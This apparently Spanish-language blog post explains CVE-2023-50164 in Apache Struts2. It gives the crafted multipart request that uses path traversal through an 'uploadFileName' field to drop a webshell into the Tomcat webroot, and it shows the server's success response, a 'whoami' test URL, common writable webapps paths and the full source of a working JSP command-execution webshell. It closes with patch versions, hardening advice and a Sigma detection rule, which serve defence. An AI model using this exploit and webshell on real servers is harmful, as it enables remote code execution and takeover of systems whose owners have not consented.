POST /upload.action HTTP/1.1
Host: 192.168.2.30
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------301703858527920802152171495913
Content-Length: 243
Origin: http://10.102.111.30
Connection: close
Referer: http://10.102.111.30/upload.action
Cookie: JSESSIONID=75ED078AC70BCDC063E949B2D2416457
Upgrade-Insecure-Requests: 1
-----------------------------301703858527920802152171495913
Content-Disposition: form-data; name="upload"; filename="fichero.txt"
Content-Type: text/plain
fichero de prueba
-----------------------------301703858527920802152171495913--
Pero lo sorprendente (y escalofriante por su facilidad de explotación) es que tras la investigación del chino (youkill) descubrimos que se puede renombrar upload a Upload y añadir otro campo uploadFilename para configurar otro nombre de fichero.
Si esto lo combinamos con un bonito path traversal tendremos la posibilidad de subir nuestra webshell y por ende el RCE:
POST /upload.action HTTP/1.1
Host: 192.168.2.30
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxn8ix5qYTeAvWUCf
Content-Length: 339
------WebKitFormBoundaryxn8ix5qYTeAvWUCf
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
<jsp> . . . </jsp>
------WebKitFormBoundaryxn8ix5qYTeAvWUCf
Content-Disposition: form-data; name="uploadFileName";
../../../../var/www/html/webshell.jsp
------WebKitFormBoundaryxn8ix5qYTeAvWUCf--
Si el servidor es vulnerable obtendremos la subida con éxito:
HTTP/1.1 200
Vary: Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,Sec-Fetch-User
Cross-Origin-Embedder-Policy-Report-Only: require-corp
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: JSESSIONID=1E2469CF8B3AF7C4CC070E14DF5FC93C; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 632
Date: Sat, 30 Dec 2023 18:08:00 GMT
<html>
<head>
<title>File Upload - Success</title>
<link rel="stylesheet" type="text/css" href="bootstrap.min.css">
</head>
<body>
<div class="container py-5">
<h2 class="text-center mb-4">File Upload - Success</h2>
<div class="alert alert-success">
File uploaded successfully to /tmp/uploads//../../../../usr/local/tomcat/webapps/ROOT/webshell.jsp<br/>
</div>
<div class="d-grid gap-2 col-6 mx-auto">
<a href="" class="btn btn-primary">Go back to Upload Page</a>
</div>
</div>
<script src="/bootstrap.bundle.min.js"></script>
</body>
</html>
Podemos comprobarlo visitando el jsp que hemos subido al webroot:
http://192.168.2.30/webshell4.jsp?cmd=whoami
Fácil ¿verdad? Quizás la única dificultad sea encontrar un path escribible, algo sin embargo bastante factible porque en la mayoría de las instalaciones lo encontraremos por defecto en:
- Windows (instalado como servicio):
C:\Program Files\Apache Software Foundation\Tomcat x.x\webapps
- Windows (instalación manual):
C:\apache-tomcat-x.x.x\webapps
- Linux/Unix/Mac (instalado via un package manager como APT, YUM o Brew):
/var/lib/tomcatx/webapps
- Linux/Unix/Mac (instalación manual):
/opt/tomcat/webapps
o/usr/local/tomcat/webapps
Luego ya con permisos de escritura los vectores son los de siempre. Por ejemplo, añadir claves SSH al usuario o subir archivos .war o .jsp. Por ejemplo, una webshell en jsp típica:
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
PoC Webshell en JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Contramedidas
- Parches: la vulnerabilidad se ha solucionado en las versiones 2.5.33 o 6.3.0.2 o superiores.
- Eliminar el uso de clases vulnerables: para sistemas donde no es necesario utilizar ActionSupport, reemplaza cualquier instancia de esta clase por otra que no sea vulnerable.
- Medidas de refuerzo: elimina el acceso innecesario al servidor de aplicaciones (como el acceso de escritura a directorios confidenciales), ya que esto significa que un atacante no podría aprovechar acciones como colocar una webshell a donde pueda acceder a la misma.
- Firewalls de aplicaciones web (WAF): comúnmente tienen reglas predeterminadas para detectar intentos de explotación de path traversal.
title: CVE-2023-50164 Potential Webshell Exploitation Attempt - ApacheStruts2
id: 5a7aa665-f924-4e78-a937-92117e6f1605
status: experimental
description: Detects potential exploitation attempt of CVE-2023-50164 against ApacheStruts2
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-50164
- https://attackerkb.com/topics/G9urDj4Cg2/CVE-2023-50164
- https://xz.aliyun.com/t/13172
author: Brett Calderbank
date: 2023/12/15
tags:
- detection.emerging_threats
- attack.initial_access
- cve.2023.50164
logsource:
category: webserver
detection:
selection-web:
cs-method: 'POST'
cs-uri|contains: 'upload.action'
cs-content|contains:
- '<jsp>'
- '--WebKitFormBoundary'
sc-status: 200
filter:
cs-content|contains: 'name="Upload"; filename="*.jsp"'
condition: selection AND NOT filter
falsepositives:
- Vulnerability scanners
- Genuine use of the upload function
level: medium
Comentarios
Publicar un comentario